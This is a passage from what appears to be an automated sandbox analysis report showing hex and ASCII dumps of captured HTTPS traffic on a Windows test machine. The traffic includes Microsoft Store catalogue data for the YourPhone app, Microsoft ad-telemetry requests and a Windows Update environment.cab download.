yb3d8bbwe\",\"tdfs\":[{\"name\":\"Windows.Universal\",\"vmax\":2814751163088896,\"vmin\":2814750970478592}]},{
\"pfun\":\"Microsoft.YourPhone_0.22032.179.0_x8

2022-05-26 11:46:37 UTC 1451 IN Data Raw: 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 
5b 22 78 36 34 22 2c 22 78 36 34 22 2c 22 78 38 36 22 2c 22 78 38 36 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 
22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 
6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 
6e 66 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 
6d 65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 7
4 22 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 
Data Ascii: licationId":"App"}],"Architectures":["x64","x64","x86","x86"],"Capabilities":["internetClient","privateNetwo
rkClientServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManagement","phoneCallSystem",
"targetedContent","runFullTrust","pac

2022-05-26 11:46:37 UTC 1455 IN Data Raw: 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 30 2e 32 32 30 
34 32 2e 31 36 31 2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 
74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 
5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 34 32 2e 31 36 31 2e 37 30 5f 6e 65 75 
74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 
49 64 5c 22 3a 5c 22 64 30 39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 
62 66 38 62 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 
Data Ascii: d8bbwe\",\"Microsoft.YourPhone_0.22042.161.70_x86__8wekyb3d8bbwe\"],\"content.isMain\":false,\"con
tent.packageId\":\"Microsoft.YourPhone_1.22042.161.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"d0932c73-
e730-4680-bc44-a5908fecbf8b\",\"content.targ

2022-05-26 11:46:37 UTC 1459 IN Data Raw: 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 
3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 
61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 
65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 
65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 
3a 31 2c 22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 41 63 74 69 6f 
6e 73 22 3a 5b 22 4c 69 63 65 6e 73 65 22 2c 22 44 65 74 61 69 6c 73 22 
Data Ascii: "GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"T
axType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0010","DisplayRank":1,"RemediationRequired":false},
{"Actions":["License","Details"

2022-05-26 11:46:37 UTC 1463 IN Data Raw: 53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 
43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 
54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 
22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 
2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 
4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 
61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 
Data Ascii: SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG"
,"WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NMPJ99V
JBWV","Properties":{"FulfillmentData":{"ProductId":"9NMPJ

2022-05-26 11:46:37 UTC 1467 IN Data Raw: 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 
67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 
7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 
73 65 63 6f 6e 64 5c 22 3a 5c 22 50 72 6f 64 75 63 74 69 76 69 74 79 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 
70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 
5c 22 3a 74 72 75 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 
22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 
Data Ascii: on\":2814750890000384,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"ca
tegory.second\":\"Productivity\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":true},\"policy2\":{\"ageRating
\":1,\"optOut.DVR\":true,\"

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:37 UTC 1471 IN Data Raw: 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 33 32 2e 31 31 31 2e 37 30 5f 78 36 34 5f 5f 38 77 65 6b 
79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 
22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 
6e 65 5f 32 30 32 30 2e 34 31 36 2e 32 30 32 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 
77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 64 30 39 33 32 63 37 33 2d 65 
37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 62 66 38 62 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 
74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 
Data Ascii: t.YourPhone_1.20032.111.70_x64__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"
Microsoft.YourPhone_2020.416.202.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"d0932c73-e730-4680-bc44-
a5908fecbf8b\",\"content.targetPlatforms\":[{\"

2022-05-26 11:46:37 UTC 1475 IN Data Raw: 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 
37 37 35 33 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 22 50 6c 
61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 6
6 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 2
2 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 
61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 39 31 2e 38 34 
2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 
Data Ascii: ndencies":[{"MaxTested":2814751014977536,"MinVersion":2814750890000384,"PlatformName":"Windows.Uni
versal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Micro
soft.YourPhone_1.20091.84.0_x86__8wekyb3d8bbwe\

2022-05-26 11:46:37 UTC 1479 IN Data Raw: 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 
22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 
6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 31 2e 
38 30 39 2e 32 31 33 39 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 
63 6b 61 67 65 49 64 22 3a 22 32 35 38 66 30 38 38 35 2d 30 35 63 30 2d 66 66 65 32 2d 64 61 36 61 2d 64 35 66 63 36 
64 66 39 38 62 65 34 2d 58 38 36 2d 58 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 37 32 2c 22 50 
6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 
Data Ascii: "Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsof
t.YourPhone_2021.809.2139.70_neutral_~_8wekyb3d8bbwe","PackageId":"258f0885-05c0-ffe2-da6a-d5fc6df98be4-X86-
X64","PackageRank":30072,"PlatformDependencies":[

2022-05-26 11:46:37 UTC 1483 IN Data Raw: 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 
2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 
6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 
73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5
c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 
22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 
74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 
Data Ascii: d\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"syst
emId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":
{"ProductId":"9

2022-05-26 11:46:37 UTC 1487 IN Data Raw: 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 33 32 2e 31 37 39 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 
6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 30 64 36 33 33 38 31 38 2d 61 31 33 65 2d 
33 31 32 32 2d 63 31 33 31 2d 63 63 37 64 32 61 34 38 39 65 61 37 2d 58 38 36 2d 58 38 36 2d 58 36 34 2d 58 36 34 22 
2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 31 31 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 6
9 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 22 4d 69 
6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 
65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 
Data Ascii: urPhone_1.22032.179.70_neutral_~_8wekyb3d8bbwe","PackageId":"0d633818-a13e-3122-c131-cc7
d2a489ea7-X86-X86-X64-X64","PackageRank":30112,"PlatformDependencies":[{"MaxTested":2814751163088896
,"MinVersion":2814750970478592,"PlatformName":"Windows.Xbox"}],"Pla

2022-05-26 11:46:37 UTC 1491 IN Data Raw: 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 73 74 75 62 5c 22 3a 74 72 75 65 
2c 5c 22 74 64 66 73 5c 22 3a 5b 7b 5c 22 6e 61 6d 65 5c 22 3a 5c 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 
6c 5c 22 2c 5c 22 76 6d 61 78 5c 22 3a 32 38 31 34 37 35 31 30 31 33 30 31 31 34 35 36 2c 5c 22 76 6d 69 6e 5c 22 3a 
32 38 31 34 37 35 31 30 31 33 30 31 31 34 35 36 7d 5d 7d 2c 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 6
6 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 33 32 2e 31 37 39 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 3
8 62 62 77 65 5c 22 2c 5c 22 74 64 66 73 5c 22 3a 5b 7b 5c 22 6e 61 6d 65 5c 22 3a 5c 22 57 69 6e 64 6f 77 73 2e 55 6e 
69 76 65 72 73 61 6c 5c 22 2c 5c 22 76 6d 61 78 5c 22 3a 32 38 31 
Data Ascii: 0_x64__8wekyb3d8bbwe\",\"stub\":true,\"tdfs\":[{\"name\":\"Windows.Universal\",\"vmax\":2814751013
011456,\"vmin\":2814751013011456}]},{\"pfun\":\"Microsoft.YourPhone_1.22032.179.0_x86__8wekyb3d8bbwe\",\"tdfs\":
[{\"name\":\"Windows.Universal\",\"vmax\":281

2022-05-26 11:46:37 UTC 1495 IN Data Raw: 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 
74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 
69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 
63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 22 2c 22 78 36 34 22 2c 22 78 38 36 22 2c 22 78 38 36 22 5d 2c 
22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 
74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 
70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 
Data Ascii: wekyb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"
}],"Architectures":["x64","x64","x86","x86"],"Capabilities":["internetClient","privateNetworkClientServer","remoteSystem
","phoneCall","confirmAppCl

2022-05-26 11:46:37 UTC 1499 IN Data Raw: 69 6c 73 22 5d 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 41 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 
62 69 6c 69 74 79 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 42 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 
62 69 6c 69 74 79 55 6e 69 66 69 65 64 41 70 70 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 49 64 22 3a 22 39 
58 37 38 51 35 42 36 48 37 31 52 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 65 6e 74 43 6f 6e 64 69 74 
69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 64 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 
3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 
65 22 3a 22 57 69 6e 64 6f 77 73 2e 4d 6f 62 69 6c 65 22 7d 2c 7b 22 
Data Ascii: ils"],"AvailabilityASchema":"Availability;3","AvailabilityBSchema":"AvailabilityUnifiedApp;3","AvailabilityI
d":"9X78Q5B6H71R","Conditions":{"ClientConditions":{"AllowedPlatforms":[{"MaxVersion":2147483647,"MinVersion":
0,"PlatformName":"Windows.Mobile"},{"

2022-05-26 11:46:37 UTC 1500 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

74 192.168.2.4 49841 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:37 UTC 1500 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114614Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:37 UTC 1500 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 34e8b166-dc1c-4b69-83d0-054504855350
Date: Thu, 26 May 2022 11:46:37 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

75 192.168.2.4 49842 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:37 UTC 1501 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&bSrc=i.t&time=20220526T114615Z&asid=c7a8b22123bf4f0d817b2043a0b86bd8&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:37 UTC 1501 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: fcc44a95-77f9-4074-879b-0534c56a4d7e
Date: Thu, 26 May 2022 11:46:37 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

76 192.168.2.4 49843 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:37 UTC 1501 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:37 UTC 1502 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 6f15bf6b-317b-4e64-a2e4-07a6ee0d0f18
MS-RequestId: 6bb5a513-dffb-4840-8055-f1f9d6d8a8ca
MS-CV: hSfGqk6ERkeSjwRa.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:37 GMT
Connection: close
Content-Length: 35877

Copyright Joe Security LLC 2022 Page 197 of 222



2022-05-26 11:46:37 UTC 1502 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:37 UTC 1518 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:37 UTC 1534 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

77 192.168.2.4 49844 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:38 UTC 1537 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&as
id=8a797e6ed978405692c4acbf4650873f&time=20220526T114620Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:38 UTC 1538 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3aaca1d7-325c-45e4-8dff-84bda0c52c05
Date: Thu, 26 May 2022 11:46:37 GMT
